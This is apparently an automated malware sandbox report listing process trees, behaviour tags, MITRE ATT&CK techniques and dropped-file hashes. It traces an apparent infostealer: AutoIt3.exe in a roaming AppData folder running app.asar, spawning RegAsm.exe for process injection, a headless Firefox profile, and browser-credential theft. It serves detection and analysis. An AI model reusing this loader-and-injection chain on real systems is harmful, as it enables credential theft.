    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,1714623917209526267,1453570603258369146,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=3128 /prefetch:1
    3⤵
    PID:5024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3152,i,13008799762953172990,1936310027098220228,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=3148 /prefetch:1
    3⤵
    PID:2656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4192,i,8655812047455805593,9536107098546078081,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=4180 /prefetch:1
    3⤵
    PID:5556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4692,i,8686572780886253574,4490866786487955839,524288 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:14
    3⤵
    PID:4984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5248,i,5341162988847748356,1313799279695263100,524288 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5252 /prefetch:14
    3⤵
    PID:6092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5336,i,14511127127581766965,8640654044741302880,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:1
    3⤵
    PID:3108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5268,i,16690283882186241935,10553954154760235980,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:1
    3⤵
    PID:2356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5272,i,17794136579724367038,1242292024962701895,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:1
    3⤵
    PID:5836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5576,i,12811541068521020722,2802160781726470817,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:1
    3⤵
    PID:1756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5400,i,14149222590362236743,2718318164320793869,524288 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
    3⤵
    PID:4360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5552,i,3716223444755993050,15897085199488200940,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:1
    3⤵
    PID:2388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5256,i,9796027265360055972,8110689736266943781,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:1
    3⤵
    PID:2900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5544,i,11468504396860553541,305042116532036613,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:1
    3⤵
    PID:3692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5308,i,13775768209028717054,9670711544934178848,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:1
    3⤵
    PID:3952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5328,i,12489983847561352091,17177922312836780247,524288 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
    3⤵
    PID:1904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5804,i,6900653861608952572,1069957902227195554,524288 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:14
    3⤵
    PID:4196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5744,i,14415866073931644632,18307008096943518870,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=4184 /prefetch:1
    3⤵
    PID:4952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5888,i,15871634768941734060,7175580348315133964,2097152 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:9
    3⤵
    PID:3740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffe3098c188,0x7ffe3098c194,0x7ffe3098c1a0
    3⤵
    PID:1924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1896,i,1851187585033327814,18204534933972566324,524288 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=2708 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4336
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1592,i,10497038744534899113,6651540291629106639,262144 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:2
    3⤵
    PID:5472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2240,i,5173468702380990295,6436625455264560244,524288 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=3128 /prefetch:13
    3⤵
    PID:4088
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3640,i,16846666175241904018,1806389497357810136,2097152 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:1
    3⤵
    PID:5616
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3636,i,3740101836066232813,17642839555903658432,2097152 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:1
    3⤵
    PID:4676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4276,i,1267270186645173680,15696498737813389,2097152 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=4432 /prefetch:9
    3⤵
    PID:3252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4264,i,1281636707642724467,10682260497900793952,2097152 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:1
    3⤵
    PID:2596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5276,i,11115088270830270295,11265167455035069213,524288 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:14
    3⤵
    PID:5696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3908,i,13795034555148307573,18307878656566708166,524288 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:14
    3⤵
    PID:5476
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3880,i,16287494493494717224,4819253218573860618,524288 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:14
    3⤵
    PID:3408
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,17209639407435704688,3930532341502931453,524288 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:14
    3⤵
    PID:2280
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,17209639407435704688,3930532341502931453,524288 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:14
    3⤵
    PID:3468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6572,i,15844750340995585708,10496623744835548344,524288 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:14
    3⤵
    PID:1548
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6836,i,14303956061919079662,6896515275591679193,524288 --field-trial-handle=2660,i,1490554762785251872,1935151915268828300,262144 --variations-seed-version --mojo-platform-channel-handle=6960 /prefetch:14
    3⤵
    PID:4676
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:4144
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:4552
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2720 -prefsLen 24445 -prefMapHandle 2724 -prefMapSize 268500 -ipcHandle 2800 -initialChannelId {da1d87bf-6514-4744-aa70-bb6a9b8e928a} -parentPid 4552 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4552" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:2728
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1844 -prefsLen 24657 -prefMapHandle 1728 -prefMapSize 268500 -jsInitHandle 1892 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1904 -initialChannelId {2b4d1680-6003-4a90-b8d9-f81c6bb9692e} -parentPid 4552 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4552" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:4460
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3704 -prefsLen 25541 -prefMapHandle 3708 -prefMapSize 268500 -ipcHandle 3736 -initialChannelId {a9666ca0-4a08-4c65-8254-f7ffb2240ea7} -parentPid 4552 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4552" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:3164
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4040 -prefsLen 25604 -prefMapHandle 4044 -prefMapSize 268500 -jsInitHandle 4048 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4100 -initialChannelId {a3426b21-fa88-47a6-a341-4e1e581aaae1} -parentPid 4552 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4552" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:1032
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4228 -prefsLen 36486 -prefMapHandle 1860 -prefMapSize 268500 -ipcHandle 1864 -initialChannelId {b98c5ad1-73fd-452f-9a00-7f418bfe6f94} -parentPid 4552 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4552" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:1984
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5104 -prefsLen 34446 -prefMapHandle 5108 -prefMapSize 268500 -jsInitHandle 5112 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5124 -initialChannelId {c699ab98-662f-4898-b11c-d92d4799ff6f} -parentPid 4552 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4552" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:5052
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5200 -prefsLen 34446 -prefMapHandle 5204 -prefMapSize 268500 -jsInitHandle 5208 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5216 -initialChannelId {79540b4b-a514-4f8f-86fc-52cded85ab44} -parentPid 4552 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4552" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:552
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5504 -prefsLen 34446 -prefMapHandle 5500 -prefMapSize 268500 -jsInitHandle 5496 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5488 -initialChannelId {4a7cd293-a397-48da-8a0f-c334bc54f9d1} -parentPid 4552 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4552" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:4276

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2756

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5848

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1780

C:\Users\Admin\AppData\Roaming\dd57aea3fe86\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\dd57aea3fe86\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\dd57aea3fe86\app.asar"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2792
- C:\Users\Admin\AppData\Roaming\dd57aea3fe86\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\dd57aea3fe86\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:6120
- C:\Users\Admin\AppData\Roaming\dd57aea3fe86\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\dd57aea3fe86\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:1764

C:\Users\Admin\AppData\Roaming\dd57aea3fe86\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\dd57aea3fe86\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\dd57aea3fe86\udsmbmc.node"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2520
- C:\Users\Admin\AppData\Roaming\dd57aea3fe86\AutoIt3.exe
  C:\Users\Admin\AppData\Roaming\dd57aea3fe86\AutoIt3.exe
  2⤵
  - Executes dropped EXE
  PID:5840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Modify Registry

T1112

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

82a2c798-ac0c-4673-84f2-c4950eeb5565.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\82a2c798-ac0c-4673-84f2-c4950eeb5565.tmp
Size 4KB
SHA256 765508679f1ee6173fcfee71b56a374d6506b6f3dad6eaabfbb6df79ed4a3006
MD5 fe33a1ac71933c21b0e003cf40e17ef4
SHA1 3b25f9242a04e1f4bb500c1aad944e99dc4e2286
SHA512 f130ab44a9b86fcae7e78e18e8e419bc1716faac7316e7ce221a2763c978c0317c85fbdf7f6019ba98818e603e8331555f68f995632efc28e1a2e8b7d5fab94f
SSDEEP 96:lC0d+hK2ilc3fBgqho/LyVRDotok5oREDbB6iGyvFrGvFbmWav4a:lC0L2ilYgm0QDUDOylyeGvFbvE
TLSH
T150A14C31E4B999BB54F79584B0437E47CF64B19B5471AF84E9DD2D0C20B70F80342923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8c1590b2-0098-4d84-90e0-0437733237de.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8c1590b2-0098-4d84-90e0-0437733237de.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
